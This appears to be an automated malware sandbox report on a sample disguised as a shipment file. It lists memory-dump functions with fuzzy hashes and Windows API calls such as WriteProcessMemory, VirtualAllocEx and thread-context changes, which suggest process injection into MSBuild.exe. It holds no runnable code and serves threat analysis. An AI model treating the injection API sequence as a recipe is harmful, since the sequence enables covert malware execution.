Function 0185B0A8 Relevance: 1.7, APIs: 1, Instructions: 197
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0185B2FE

Memory Dump Source

Source File: 00000000.00000002.2420449332.0000000001850000.00000040.00000800.00020000.00000000.sdmp, Offset: 01850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1850000_Shipment 990847575203.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: fa2911edc3ebe938c40ab02363faab28dabc922adc6121f091f69381b4e6af90
Instruction ID: a4412e09c052eb83525c945793babe42153c7fb1951a648b836e6fc142d17610
Opcode Fuzzy Hash: fa2911edc3ebe938c40ab02363faab28dabc922adc6121f091f69381b4e6af90
Instruction Fuzzy Hash: BC716A70A00B058FE7A5DF2AD44475ABBF2FF88340F108A2DD94ADBA50D735E945CB91

Function 018558ED Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 018559A9

Memory Dump Source

Source File: 00000000.00000002.2420449332.0000000001850000.00000040.00000800.00020000.00000000.sdmp, Offset: 01850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1850000_Shipment 990847575203.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 7ec87aad204344dbf1ffefb871f687e1b3af2ff5c8d4135d4fe0e63dd70b18db
Instruction ID: 16a0564a5a0cffb080894a240af7c1880ed44286228e78a535632531ad920742
Opcode Fuzzy Hash: 7ec87aad204344dbf1ffefb871f687e1b3af2ff5c8d4135d4fe0e63dd70b18db
Instruction Fuzzy Hash: 7941E070C1071DDFDB25CFAAC884B8DBBB6BF89304F2481AAD448AB251DB756945CF90

Function 01854514 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 018559A9

Memory Dump Source

Source File: 00000000.00000002.2420449332.0000000001850000.00000040.00000800.00020000.00000000.sdmp, Offset: 01850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1850000_Shipment 990847575203.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: dcfd70bcbbb4cf88bbe7c6a5f64ab635b6fb016b69b00db36ae3fd9332273da3
Instruction ID: c14cb63be5367ec659358602b02b9f8d6a2d4f66455c512ff2377865025ee3f5
Opcode Fuzzy Hash: dcfd70bcbbb4cf88bbe7c6a5f64ab635b6fb016b69b00db36ae3fd9332273da3
Instruction Fuzzy Hash: C641DF70C1071DDBDB24DFAAC884B9EBBB5FF89304F20806AD518AB251DB756945CF90

Function 07CAB4B4 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,07CAC995,?,?), ref: 07CACA47

Memory Dump Source

Source File: 00000000.00000002.2439663321.0000000007CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ca0000_Shipment 990847575203.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 4435012ac89fe820de87953100eb45d9932c487f65c9012170a69b89462732f0
Instruction ID: d5182caa4582c674a594c99652b07f92b42d179ded95f1627b09ffb9dca5a91c
Opcode Fuzzy Hash: 4435012ac89fe820de87953100eb45d9932c487f65c9012170a69b89462732f0
Instruction Fuzzy Hash: 1C31C7B5D0024AAFDB10CF9AD884AEEFBF4FB48364F14841AE519A7210D774A954CFA4

Function 07CAC9A8 Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,07CAC995,?,?), ref: 07CACA47

Memory Dump Source

Source File: 00000000.00000002.2439663321.0000000007CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ca0000_Shipment 990847575203.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: e103709c5b9d3fb0736f8776c799ff2bd2c84c2b3f3f39a5aab8e7dbe9dbdb70
Instruction ID: b5491833ab25bc9d1cf57c0a3fc82184a4e7b135d685d9716e7e572388eec314
Opcode Fuzzy Hash: e103709c5b9d3fb0736f8776c799ff2bd2c84c2b3f3f39a5aab8e7dbe9dbdb70
Instruction Fuzzy Hash: E131C3B5D0020A9FDB10CF99D984AEEBBF5BF48364F14842AE559A7310D374A954CFA0

Function 07C9E810 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 07C9E8A0

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8855cc1c4ab36116349219a4726cc9817eb92a0db465b7fae146cdbbeb3f6b96
Instruction ID: 7a7cce8689bc9a743d28a1a48f02d4955a58152461c224d4c28b45c7b2f7bff1
Opcode Fuzzy Hash: 8855cc1c4ab36116349219a4726cc9817eb92a0db465b7fae146cdbbeb3f6b96
Instruction Fuzzy Hash: 4D2115B29003599FDB10DFAAC885BDEBBF5FF48310F148429E918A7240C7789950CBA4

Function 0185D581 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0185D60F

Memory Dump Source

Source File: 00000000.00000002.2420449332.0000000001850000.00000040.00000800.00020000.00000000.sdmp, Offset: 01850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1850000_Shipment 990847575203.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5fee7e7254e744f75aedc0256481574419a53fd6c0233b76d03bf668a18525aa
Instruction ID: d78480cc4e15228c539a9beeea216c4e0afa1021f5af77c0bf58a8078799f932
Opcode Fuzzy Hash: 5fee7e7254e744f75aedc0256481574419a53fd6c0233b76d03bf668a18525aa
Instruction Fuzzy Hash: 6F21E4B5900209DFDB10CF9AD884ADEBBF4EB48324F14841AE918A3351D378AA54CFA5

Function 07C9E678 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 07C9E6F6

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 68bb6528dcd35efb249849d1d01006cff5bfdd853b9f2941aa9a059e6ed07470
Instruction ID: ec1e61ab9401b75ed57c1ca07c50e406fc6d114265c19a3fcb0374082c4c3caf
Opcode Fuzzy Hash: 68bb6528dcd35efb249849d1d01006cff5bfdd853b9f2941aa9a059e6ed07470
Instruction Fuzzy Hash: 192129B1D003099FEB10DFAAC4857EEBBF4EF88364F148429D559A7241C7789944CFA5

Function 07C9E900 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 07C9E980

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 2da7615abacbca9aa0a38cac630bbb827019a20499c7dd9933174164473cc6d6
Instruction ID: 2b838bf0244a4ed7c0bcf0a77a9a90f038ef85092a53812160addd4a19d13283
Opcode Fuzzy Hash: 2da7615abacbca9aa0a38cac630bbb827019a20499c7dd9933174164473cc6d6
Instruction Fuzzy Hash: CA2125B1C003599FDB10DFAAC885AEEFBF5FF48320F10842AE558A7250C7399940CBA4

Function 0185D588 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0185D60F

Memory Dump Source

Source File: 00000000.00000002.2420449332.0000000001850000.00000040.00000800.00020000.00000000.sdmp, Offset: 01850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1850000_Shipment 990847575203.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8511a097db119acdf547322630ae95302dc6e1257608efef0dce2ed055d97193
Instruction ID: dd48c88692ab2a144d492293156eb5d039419f8b35f8b49639994d67b165211c
Opcode Fuzzy Hash: 8511a097db119acdf547322630ae95302dc6e1257608efef0dce2ed055d97193
Instruction Fuzzy Hash: 7921C4B5900249DFDB10CF9AD984ADEBBF5EB48320F14841AE918A7350D378A954CFA5

Function 07CA1254 Relevance: 1.6, APIs: 1, Instructions: 56
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,07CA3482,?,?,?,?,?), ref: 07CA3527

Memory Dump Source

Source File: 00000000.00000002.2439663321.0000000007CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ca0000_Shipment 990847575203.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: b923929b038e59efb5ae7313b628e86b41fa4c9249a0209326dd8cc18328816e
Instruction ID: 2b30f3b88994a8b23e7e8ff73b58be8a9917958513e0b27c7c554193a1a6787a
Opcode Fuzzy Hash: b923929b038e59efb5ae7313b628e86b41fa4c9249a0209326dd8cc18328816e
Instruction Fuzzy Hash: A61117B1800359AFDB10DF9AD844ADEBFF8EB48324F14841AE914A7250C379A954CFA4

Function 07C9E750 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 07C9E7BE

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b95ed7b6ec80e5b9eab380b14fd7f2290f2b49a741b39315084191970d2f56dd
Instruction ID: f986b4e3441ceabe489c16301c7453593510e7437e37a79f57243d4ab910e7c3
Opcode Fuzzy Hash: b95ed7b6ec80e5b9eab380b14fd7f2290f2b49a741b39315084191970d2f56dd
Instruction Fuzzy Hash: 351126728002499FDB10DFAAC845BDEBBF5EF88720F248819E519A7250C7759550CBA5

Function 07CA34B7 Relevance: 1.6, APIs: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

CreateIconFromResourceEx.USER32(?,?,?,?,?,?,?,?,?,?,07CA3482,?,?,?,?,?), ref: 07CA3527

Memory Dump Source

Source File: 00000000.00000002.2439663321.0000000007CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ca0000_Shipment 990847575203.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: 5144b10124e5cf51ac7092bd8c215b6b2bb55be83bc9a05cda63da96816ae3bd
Instruction ID: 514ee1e38366321549d885388de7228f81b71ecdf46d5ce86fe83642649d9d50
Opcode Fuzzy Hash: 5144b10124e5cf51ac7092bd8c215b6b2bb55be83bc9a05cda63da96816ae3bd
Instruction Fuzzy Hash: 0F1116B680025ADFDB10CFA9D944BDEBFF8EF48324F14841AE558A7250C339A954DFA4

Function 07C9E190 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07C9E1F2

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 87bd594bd725c3f99db9e68289e34c02a0b6a1d7f2331e2eeff7bbbc44df0bdb
Instruction ID: 3b47852968c2711c004a0c368bb2fa706a21dd09455c86f7c237181e5456c8ca
Opcode Fuzzy Hash: 87bd594bd725c3f99db9e68289e34c02a0b6a1d7f2331e2eeff7bbbc44df0bdb
Instruction Fuzzy Hash: 7F1128B1D003498FEB14DFAAC4457DEFBF4EB88624F248419D519A7240C779A540CB94

Function 0185B298 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0185B2FE

Memory Dump Source

Source File: 00000000.00000002.2420449332.0000000001850000.00000040.00000800.00020000.00000000.sdmp, Offset: 01850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1850000_Shipment 990847575203.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 77115a7bb9819e27028adde9bfe940dc51737bb06ba07976345833a60093f16e
Instruction ID: 602035146a6eaf9c43ffce2a81e72b1089f98eee29bb6cc690b31958cc591179
Opcode Fuzzy Hash: 77115a7bb9819e27028adde9bfe940dc51737bb06ba07976345833a60093f16e
Instruction Fuzzy Hash: 431110B5C002498FDB10CF9AC444ADEFBF5EF88324F10841AD919B7210C379A645CFA5

Function 07ED28C8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07ED2925

Memory Dump Source

Source File: 00000000.00000002.2440343413.0000000007ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ed0000_Shipment 990847575203.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 10004de4b88f7ad7df343c910c3705631206faaac7da2874a0340db0a2107351
Instruction ID: dca2c1f03347021a9285e3fa48323b5b5f8ae8977bab47860a0677a45226b5e8
Opcode Fuzzy Hash: 10004de4b88f7ad7df343c910c3705631206faaac7da2874a0340db0a2107351
Instruction Fuzzy Hash: 191103B58003499FDB10CF9AC445BDEBBF8FB48324F208419E558A7200C375A944CFA1

Function 07ED28C1 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 07ED2925

Memory Dump Source

Source File: 00000000.00000002.2440343413.0000000007ED0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ed0000_Shipment 990847575203.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 39546fc57cc938d2a93d2b7575cdd6f4d6ce3a1f261795c3efe577aa004ea38e
Instruction ID: 7425d8b68c9770bcc1126fcb1c04fec83a3d23a4fe8ebd4d7c09ae07f5e2eb06
Opcode Fuzzy Hash: 39546fc57cc938d2a93d2b7575cdd6f4d6ce3a1f261795c3efe577aa004ea38e
Instruction Fuzzy Hash: 2411C2B5800249DFDB10CF99D545BDEBBF8EB48324F24841AD558B7650C379A984CFA1

Function 0155D1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419674216.000000000155D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0155D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_155d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91e48ce35ec61cdd97e36327e827ce25998084af7a33b97ba8751889cbca7078
Instruction ID: ea3703f184cc71fcd67d1667d94f345cb31f05313b422618778e90e5ba50a576
Opcode Fuzzy Hash: 91e48ce35ec61cdd97e36327e827ce25998084af7a33b97ba8751889cbca7078
Instruction Fuzzy Hash: 4B21F172504200DFDB45DF94D9D0B2ABBB5FB88320F20C56AED094E246C336D456CBA1

Function 0155D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419674216.000000000155D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0155D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_155d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f72b9261b8188dd1229c70629eaa7a5422a4def9b6f98996d7731b4fc9d9377d
Instruction ID: 1bcea9f674db570e9c9dfa1dd41cf000ead6983b4d89a40117e353f068da1705
Opcode Fuzzy Hash: f72b9261b8188dd1229c70629eaa7a5422a4def9b6f98996d7731b4fc9d9377d
Instruction Fuzzy Hash: 1121FF72500244EFDB45DF98D9D0B2ABFB5FB88318F20C56AED090E256C336D456CAA2

Function 0156D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419718401.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_156d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7661642c7ff707b869145c6d1a0902d3a3b26cf52c0eaa875587f30b817de24
Instruction ID: 3cacfb39167015baf1ff360dbe90f869a0c7a1ed51321498b0204e95c55c77b0
Opcode Fuzzy Hash: c7661642c7ff707b869145c6d1a0902d3a3b26cf52c0eaa875587f30b817de24
Instruction Fuzzy Hash: CF210771604204EFDB05DF94D5C0B2ABBB9FB84324F24CD6DD9894F252C37AD446CAA1

Function 0156D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419718401.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_156d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15d2eb6cfb070846b408d0d65a160b49ca074525f9e0daa02dc5c08c16bfc0f6
Instruction ID: e44de761b2fda7af4d9e26478610c3ea60116f9c383f0566151cf328a5f64358
Opcode Fuzzy Hash: 15d2eb6cfb070846b408d0d65a160b49ca074525f9e0daa02dc5c08c16bfc0f6
Instruction Fuzzy Hash: 10210375604204DFDB15DF54D580B26BBB9FB84324F20C96DD9894F242D33BD447CAA1

Function 0156D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419718401.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_156d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38e057fbfc7b242e1be9b60fda4270aa9b9844c8e4b5bcd4db2cda6a5b36fc21
Instruction ID: 40e8e012057f90e05374850a02e86d97573f92eddde3ff9549dcdcb78603a152
Opcode Fuzzy Hash: 38e057fbfc7b242e1be9b60fda4270aa9b9844c8e4b5bcd4db2cda6a5b36fc21
Instruction Fuzzy Hash: 982183755093808FC702CF24D590715BF71FB46214F28C5DAD8898F267C33A980ACBA2

Function 0155D1F7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419674216.000000000155D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0155D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_155d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97b80ae79017b4ed6bea6dd9b7a80ca74a39b088e4df1c4c2e3fdfc2e958b63e
Instruction ID: 429ee91751f2b0e4913500e57af1bd22ddeb5160878dcdd974ba49ba1c69e467
Opcode Fuzzy Hash: 97b80ae79017b4ed6bea6dd9b7a80ca74a39b088e4df1c4c2e3fdfc2e958b63e
Instruction Fuzzy Hash: F321CD76404240CFDB06CF44D9C4B1ABF72FB84324F24C1AADC080E656C33AD426CBA1

Function 0155D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419674216.000000000155D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0155D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_155d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction ID: 59737515d79a1182c030f9152d85bb7d00f1e1b1a3c2a6019f9494507edb880b
Opcode Fuzzy Hash: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction Fuzzy Hash: 9E119D76504284CFCB16CF54D5D4B1ABF71FB84218F2486AADC490F656C33AD45ACBA1

Function 0156D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419718401.000000000156D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0156D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_156d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
Instruction ID: d2f143ceb23925da3b5d7232c86c5dabdc7818bbfadb298eaa6846113e566db7
Opcode Fuzzy Hash: f5dd070f47a673dda7babee824c8441981cc2d376d27ad6ac8e2bf7ef2f1688d
Instruction Fuzzy Hash: 2911BB75604280DFCB12CF54C5C0B19BBB1FB84224F28CAA9D8894F296C33AD44ACBA1

Function 0155D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419674216.000000000155D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0155D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_155d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5daf1bf3d2ce6403a43275aca6baa46448186d5d5d0dea65c78348680e7c75ff
Instruction ID: 2028b4fb5a9af96f82871194fa42264fb97d12dd9a70a745222f4a83379d6a8f
Opcode Fuzzy Hash: 5daf1bf3d2ce6403a43275aca6baa46448186d5d5d0dea65c78348680e7c75ff
Instruction Fuzzy Hash: A201F7320143849AF7608AA9CD94B6BBFE8FF41224F18851BEE084E682D2399441C6B1

Function 0155D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2419674216.000000000155D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0155D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_155d000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e429b53ca883a0dbeaa2907227ae90832e90d2985cd5f565b09e4af5c434a23e
Instruction ID: d1c880a7d5b90116c1f7ff2a84f6c5cdc6d0f1a906b82dd70e922eab99db4ec8
Opcode Fuzzy Hash: e429b53ca883a0dbeaa2907227ae90832e90d2985cd5f565b09e4af5c434a23e
Instruction Fuzzy Hash: 79F062724053849AF7118E59D884B66FFA8FB81634F18C45AED084F686C2799844CAB1

Non-executed Functions

Function 07C9D488 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87365218f32019ede6454949ff701c4d3af3d5ee8b3961560d905180d8f645b1
Instruction ID: f854de12e7b05577aed2ecade87e0bc8cdb17ae6a8344b6c0af2ef952873392f
Opcode Fuzzy Hash: 87365218f32019ede6454949ff701c4d3af3d5ee8b3961560d905180d8f645b1
Instruction Fuzzy Hash: 44E1E9B4E002598FDB14DFA9C584AAEFBF2FF89305F248169D415AB356D730A942CF60

Function 07C9E240 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8eb144b0a87b8684dcdd32f836eca844d530f59d875955375387712f251383
Instruction ID: e747b962b54f6dd02cd84d9d77444de0be484f0c9d431688203920dc09325a12
Opcode Fuzzy Hash: 8c8eb144b0a87b8684dcdd32f836eca844d530f59d875955375387712f251383
Instruction Fuzzy Hash: 28E1E7B5E002599FDB14CFA9C5849AEBBF2FF89305F248169D418AB356D730AD42CF60

Function 07C9C198 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d251832b713e2fa5658803bd4799d1618125e8ec7540d0aad6739914272ea8e
Instruction ID: 9006add590709d8035a3c71ea8b1a4c06ff732976cfbab05e5171e2e69eab1ac
Opcode Fuzzy Hash: 5d251832b713e2fa5658803bd4799d1618125e8ec7540d0aad6739914272ea8e
Instruction Fuzzy Hash: 2EE1D8B4E002599FDB64CFA9C5849AEBBF2FF89305F248169D414AB356D730AD41CF60

Function 07C9D8C0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2439607427.0000000007C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c90000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 225b778b47c73ffc2cee8a6b3171ff2e0c4cd1348a53a0d9ae0be107fb3b1b18
Instruction ID: 501db2352b0a87b152fc93295c09d9352355d286d7aa9141e84496c94642f2eb
Opcode Fuzzy Hash: 225b778b47c73ffc2cee8a6b3171ff2e0c4cd1348a53a0d9ae0be107fb3b1b18
Instruction Fuzzy Hash: C9E1E8B4E002598FDB14DFA9C584AAEBBF2FF89305F248169D415AB356D730A942CF60

Function 0185DE84 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2420449332.0000000001850000.00000040.00000800.00020000.00000000.sdmp, Offset: 01850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1850000_Shipment 990847575203.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f0d30f5685a59c7346b10f73d8d7c9b20f9df7432723c9b0aa1422755c09f5
Instruction ID: 69a76ccff91677e36c12caf1c68d151b3efb40dba5708cae8c57b016a0a71140
Opcode Fuzzy Hash: f1f0d30f5685a59c7346b10f73d8d7c9b20f9df7432723c9b0aa1422755c09f5
Instruction Fuzzy Hash: C1A14E32A0021ACFCF05DFB9D84459EBBB2FF84304B15856AED06EB265DB71EA55CB40

Analysis Process: MSBuild.exePID: 7252, Parent PID: 5192COMMON

Execution Graph

Execution Coverage:	15.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	159
Total number of Limit Nodes:	12

Executed Functions

Function 00CBC73F Relevance: 3.9, Strings: 3, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0op, xrefs: 00CBC7AA
Ljp, xrefs: 00CBC917
Ljp, xrefs: 00CBC92D

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID: 0op$Ljp$Ljp
API String ID: 0-600165640
Opcode ID: aff627e13e80c7ee29df9a06226927d76087d55c9aaa5b8b38bf7ddcd1544844
Instruction ID: 8422acad53f5456aad31e8d929aff2bbbe1f65da5d64d09061aaa1ad9bcdae3f
Opcode Fuzzy Hash: aff627e13e80c7ee29df9a06226927d76087d55c9aaa5b8b38bf7ddcd1544844
Instruction Fuzzy Hash: 94819074E00218DFEB14DFAAD984ADDBBF2BF88300F248069E419AB365DB359941DF50

